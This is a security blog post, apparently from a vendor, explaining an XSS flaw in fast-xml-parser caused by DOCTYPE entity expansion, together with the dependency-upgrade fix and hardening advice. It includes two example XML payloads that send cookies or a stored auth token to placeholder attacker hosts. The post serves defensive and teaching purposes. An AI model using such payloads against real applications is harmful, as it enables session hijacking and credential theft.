Back to Blog
critical SEVERITY7 min read

How Cross-Site Scripting happens in fast-xml-parser and how to fix it

CVE-2026-25896 is a critical Cross-Site Scripting vulnerability in fast-xml-parser caused by improper handling of DOCTYPE entity declarations, allowing attackers to inject malicious scripts through crafted XML input. The fix upgrades the library from vulnerable versions (4.5.3 and 5.2.3) to patched releases (4.5.7 and 5.10.1), closing the attack vector in production code. This matters because fast-xml-parser is widely used to process user-supplied XML in Node.js applications, making any XSS flaw

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

CVE-2026-25896 is a critical Cross-Site Scripting (XSS) vulnerability (CWE-79) in the fast-xml-parser npm package, affecting versions prior to 4.5.7 (v4 branch) and 5.10.1 (v5 branch). The flaw stems from improper handling of DOCTYPE entity declarations in XML input, which allows an attacker to inject unsanitized script content that reaches a browser. The fix is a direct dependency upgrade: bump fast-xml-parser to ≥4.5.7 or ≥5.10.1 in package.json and regenerate the lockfile, as demonstrated in the patched package-lock.json where the v4 nested dependency inside eo2js moved from 4.5.3 → 4.5.7 and the top-level v5 dependency moved from ^5.2.3 → ^5.10.1.

Vulnerability at a Glance

cweCWE-79
fixUpgrade fast-xml-parser to 4.5.7 (v4 branch) or 5.10.1 (v5 branch) where DOCTYPE entity handling is hardened
riskAttacker-controlled XML input can inject executable script content into application output, leading to session hijacking, credential theft, or full account takeover
languageJavaScript / Node.js
root causefast-xml-parser failed to sanitize or restrict DOCTYPE entity declarations, allowing entity expansion to produce unescaped HTML/script content
vulnerabilityCross-Site Scripting (XSS) via DOCTYPE entity injection

How Cross-Site Scripting Happens in fast-xml-parser and How to Fix It

Introduction

The package-lock.json file in this Node.js project pins every transitive dependency to an exact version — a practice meant to guarantee reproducible builds. But a locked version is only as safe as the package it points to. In this case, two separate resolutions of fast-xml-parser were locked to vulnerable releases: the top-level dependency at ^5.2.3 and a nested dependency inside eo2js at 4.5.3. Both versions contain CVE-2026-25896, a critical Cross-Site Scripting flaw rooted in how the library processes DOCTYPE entity declarations.

Because fast-xml-parser is used to parse potentially user-supplied XML content, any weakness in its sanitization logic is a direct path from attacker-controlled input to script execution in a victim's browser.


The Vulnerability Explained

What goes wrong with DOCTYPE entities?

XML's DOCTYPE mechanism allows documents to define entities — essentially named text substitutions. A well-known abuse of this feature is the XML External Entity (XXE) attack, but CVE-2026-25896 is a different flavor: the parser improperly handles entity declarations inside a DOCTYPE in a way that allows crafted entity values to survive into the parsed output without being neutralized.

Consider a malicious XML document like this:

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY xss "<script>document.location='https://attacker.example/steal?c='+document.cookie</script>">
]>
<root>&xss;</root>

In the vulnerable versions (4.5.3 and 5.2.x), fast-xml-parser expands &xss; during parsing and may return the raw <script>…</script> string as the text content of the <root> node. If the calling application then renders that value into an HTML page — even something as routine as displaying a parsed XML field in a dashboard or report — the browser executes the injected script.

Why the vulnerable versions are dangerous

The vulnerable lockfile entries are explicit:

// BEFORE — vulnerable
"node_modules/eo2js/node_modules/fast-xml-parser": {
  "version": "4.5.3",
  "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-4.5.3.tgz",
  "integrity": "sha512-RKihhV+SHsIUGXObeVy9AXiBbFwkVk7Syp8XgwN5U3JV416+Gwp/GO9i0JYKmikykgz/UHRrrV4ROuZEo/T0ig=="
}

And at the top level:

// BEFORE — vulnerable (package.json constraint)
"fast-xml-parser": "^5.2.3"

Both resolutions are in production code (not devDependencies), meaning they run in every deployed environment.

Real-world attack scenario

Imagine this project exposes an API endpoint that accepts an XML payload — for example, a configuration import or a data-exchange feed — and then displays parsed field values in a web UI. An attacker submits:

<!DOCTYPE config [
  <!ENTITY payload "<img src=x onerror=fetch('https://evil.example/?tok='+localStorage.getItem('authToken'))>">
]>
<config>
  <name>&payload;</name>
</config>

The vulnerable parser expands the entity, the application stores or returns <img src=x onerror=…> as the name value, and when an administrator views the configuration in the browser, the onerror handler fires and silently exfiltrates the stored auth token. No user interaction beyond viewing the page is required.


The Fix

The pull request makes two targeted changes in package-lock.json (and the corresponding package.json constraint):

1. Top-level fast-xml-parser: ^5.2.3^5.10.1

- "fast-xml-parser": "^5.2.3",
+ "fast-xml-parser": "^5.10.1",

This bumps the semver lower bound so npm will never resolve the top-level dependency to a version below 5.10.1, where the DOCTYPE entity handling fix is included.

2. Nested dependency inside eo2js: 4.5.34.5.7

 "node_modules/eo2js/node_modules/fast-xml-parser": {
-  "version": "4.5.3",
-  "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-4.5.3.tgz",
-  "integrity": "sha512-RKihhV+SHsIUGXObeVy9AXiBbFwkVk7Syp8XgwN5U3JV416+Gwp/GO9i0JYKmikykgz/UHRrrV4ROuZEo/T0ig==",
+  "version": "4.5.7",
+  "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-4.5.7.tgz",
+  "integrity": "sha512-a6Qh1RMCNbSrU1+sAyAAZH3rTe+OaWJbNZIq0S+ifZciUUOQtlVxBJwoTUE2bYhysmG/RYyI5WJFIKdBahJdrQ==",

This is important: eo2js has its own pinned copy of fast-xml-parser v4 nested under node_modules/eo2js/node_modules/. Simply upgrading the top-level v5 dependency would leave this v4 copy untouched and still vulnerable. The fix explicitly overrides it to 4.5.7.

3. @nodable/entities transitive dependency: 2.2.03.0.0

 "node_modules/@nodable/entities": {
-  "version": "2.2.0",
+  "version": "3.0.0",

The entity-handling library that fast-xml-parser depends on for character entity resolution was also updated. Version 3.0.0 of @nodable/entities tightens the entity expansion logic that underpins the CVE fix.

Why both version branches needed patching

A common mistake when fixing dependency vulnerabilities is updating only the version you see in package.json and assuming npm install will clean everything else up. In monorepo-style or deeply nested dependency trees, npm may preserve a separate copy of the same package at a different version inside a subdirectory. The PR correctly addresses both the v5 top-level copy and the v4 nested copy, ensuring no vulnerable code path remains.


Prevention & Best Practices

1. Lock files are a security surface — audit them

package-lock.json and yarn.lock capture exact resolved versions including nested duplicates. Run npm audit or a dedicated SCA scanner (Trivy, Snyk, Socket) in CI to catch CVEs in locked versions before they reach production.

2. Disable DOCTYPE processing when you don't need it

fast-xml-parser v4+ exposes an allowDtd option. If your application never processes XML with DOCTYPE declarations, set it explicitly:

const { XMLParser } = require("fast-xml-parser");

const parser = new XMLParser({
  allowDtd: false,   // reject DOCTYPE declarations entirely
  processEntities: false  // do not expand entity references
});

Denying the feature at the configuration level is defence-in-depth even when running a patched version.

3. Always HTML-encode XML parser output before rendering

Even a patched parser might return angle brackets or quotes in legitimate data. Use a context-aware escaping library (e.g., he or the platform's built-in template escaping) when inserting parsed XML values into HTML:

const he = require("he");
const safeName = he.encode(parsedXml.config.name);
document.getElementById("name").textContent = safeName; // textContent, not innerHTML

4. Pin to a minimum safe version in package.json, not just a lockfile

Semver ranges like ^4.5.3 allow npm to resolve 4.5.3 on a clean install if the lockfile is absent. Prefer >=4.5.7 or use overrides / resolutions in package.json to force a minimum safe version across all nested copies:

// package.json
"overrides": {
  "fast-xml-parser": ">=4.5.7"
}

5. Reference standards

  • OWASP XSS Prevention Cheat Sheet: guides on output encoding, CSP, and safe DOM APIs
  • CWE-79: Improper Neutralization of Input During Web Page Generation
  • CWE-611: Improper Restriction of XML External Entity Reference (related DOCTYPE abuse)

Key Takeaways

  • Both version branches of fast-xml-parser must be patched independently. The eo2js nested copy at 4.5.3 was just as dangerous as the top-level v5 copy, and upgrading only one would have left a live attack surface.
  • DOCTYPE entity expansion is an underappreciated XSS vector in XML parsers. Unlike classic reflected XSS, the payload can be stored in a data field and trigger silently when rendered — making it persistent by default.
  • @nodable/entities version 2.2.0 was part of the vulnerable chain. The entity resolution library itself needed to be updated to 3.0.0 alongside the parser upgrade.
  • allowDtd: false is a zero-cost hardening option in fast-xml-parser that eliminates this entire class of attack for applications that don't require DOCTYPE support.
  • Trivy's lockfile scanning caught this before any exploit. Scanning package-lock.json — not just package.json — is what surfaced the nested 4.5.3 copy that would otherwise have been invisible to a simple dependency audit.

How Orbis AppSec Detected This

  • Source: User-supplied or externally fetched XML content processed by fast-xml-parser, entering through any code path that calls the parser with untrusted input.
  • Sink: The fast-xml-parser entity expansion routine in versions 4.5.3 and <5.10.1, which returns unescaped entity-expanded strings as parsed node values — values that downstream code may render into HTML.
  • Missing control: No sanitization or restriction of DOCTYPE/entity declarations in the parser configuration; no version guard preventing resolution of the vulnerable 4.5.3 nested copy inside eo2js.
  • CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation (Cross-site Scripting).
  • Fix: Upgraded fast-xml-parser to ^5.10.1 (top-level) and 4.5.7 (nested under eo2js), and bumped @nodable/entities to 3.0.0, as reflected in the updated package-lock.json.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2026-25896 is a sharp reminder that XML parsing is not a passive, read-only operation — DOCTYPE entity expansion can turn an XML parser into a script injection engine. In this project, two separate resolutions of fast-xml-parser (one at v4.5.3 nested inside eo2js, one at v5.2.x at the top level) both carried the flaw, and fixing only one would have left the application exposed. The correct remediation — upgrading both to their respective patched releases and updating the underlying @nodable/entities library — closes the attack surface completely. Pair that with the allowDtd: false configuration option and strict output encoding, and this class of vulnerability becomes extremely difficult to exploit even if a future parser regression were introduced.


References

Frequently Asked Questions

What is Cross-Site Scripting (XSS)?

XSS is an injection attack where malicious scripts are embedded in trusted web content and executed in a victim's browser, enabling session theft, phishing, and data exfiltration.

How do you prevent XSS in Node.js XML parsing?

Use a patched version of your XML parser, disable DOCTYPE processing when not needed, and always HTML-encode parser output before rendering it in a browser context.

What CWE is Cross-Site Scripting?

XSS maps to CWE-79: Improper Neutralization of Input During Web Page Generation.

Is escaping output enough to prevent XSS from a vulnerable XML parser?

Output escaping helps, but if the parser itself expands malicious entities before your escaping layer sees the data, the attack can still succeed — patching the parser is essential.

Can static analysis detect this type of XSS?

Yes. Tools like Trivy (which flagged this exact CVE), Semgrep, and Snyk can identify vulnerable fast-xml-parser versions in lockfiles and alert before deployment.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #1129

Related Articles

critical

How Reflected XSS happens in Astro and how to fix it

CVE-2026-50146 is a reflected cross-site scripting (XSS) vulnerability in Astro versions prior to 6.3.3, where unescaped slot names could be injected into rendered HTML. The fix upgrades Astro from 5.18.1 to 6.3.3 (along with related packages `@astrojs/starlight` and `starlight-blog`), closing a code path that allowed attacker-controlled input to reach the browser without sanitization. Any Astro-based site that renders dynamic slot names from untrusted sources was potentially exposed to session

high

How Unsafe eval() in JavaScript Happens in React Components and How to Fix It

A high-severity code injection vulnerability was discovered in `TurnPlanner.tsx`, where the `parseInputExpr` function used JavaScript's `Function` constructor — effectively `eval()` — to evaluate user-provided mathematical expressions. The regex guard in place only checked for the presence of arithmetic operators, not whether the input was safe to execute, leaving the door open for arbitrary JavaScript injection. A targeted whitelist fix was applied to reject any input containing characters outs

critical

How Unsanitized IPC Data Injection happens in Electron/HTML and how to fix it

A content injection vulnerability in `src/NankaiTrough.html` allowed attacker-controlled IPC message data to flow directly into DOM properties without type coercion or validation. The fix explicitly converts all `request.data` fields to strings using `String()` with fallback defaults before assigning them to `document.title` and `innerText` properties, eliminating the risk of prototype pollution and unexpected object-to-string coercion attacks.

critical

How Cross-Site Scripting (XSS) happens in JavaScript innerHTML and how to fix it

A stored Cross-Site Scripting (XSS) vulnerability in `hasheous/wwwroot/pages/dataobjectdetail.js` allowed attackers with Moderator or Admin privileges to inject malicious HTML into DataObject attribute fields, executing arbitrary JavaScript in every visitor's browser. The fix replaces unsafe `innerHTML` assignments with `textContent` for plain text and a sanitized markdown renderer for AI-generated descriptions, eliminating the injection vector entirely.

high

How Stored XSS via Unsanitized GitHub README HTML Happens in JavaScript and How to Fix It

A high-severity stored Cross-Site Scripting (XSS) vulnerability was discovered in `custom_components/hacs_vision/frontend/panel.js`, where the backend fetched GitHub's pre-rendered README HTML and the frontend injected it directly into the DOM without sanitization. An attacker who controls a GitHub repository could embed malicious JavaScript in their README that executes automatically when any HACS Vision user views that repository's details, potentially exfiltrating credentials or hijacking the

critical

How eval() Code Injection happens in JavaScript and how to fix it

A critical code injection vulnerability was discovered in `js/lib/jsencrypt.js` at line 195, where a direct `eval()` call executed a JavaScript string shim for the `process` object in browser environments. If an attacker could influence the string passed to `eval()`—through a compromised dependency, a man-in-the-middle attack, or supply chain tampering—they could achieve arbitrary JavaScript execution in any user's browser. The fix replaces the `eval()` call with the equivalent inline JavaScript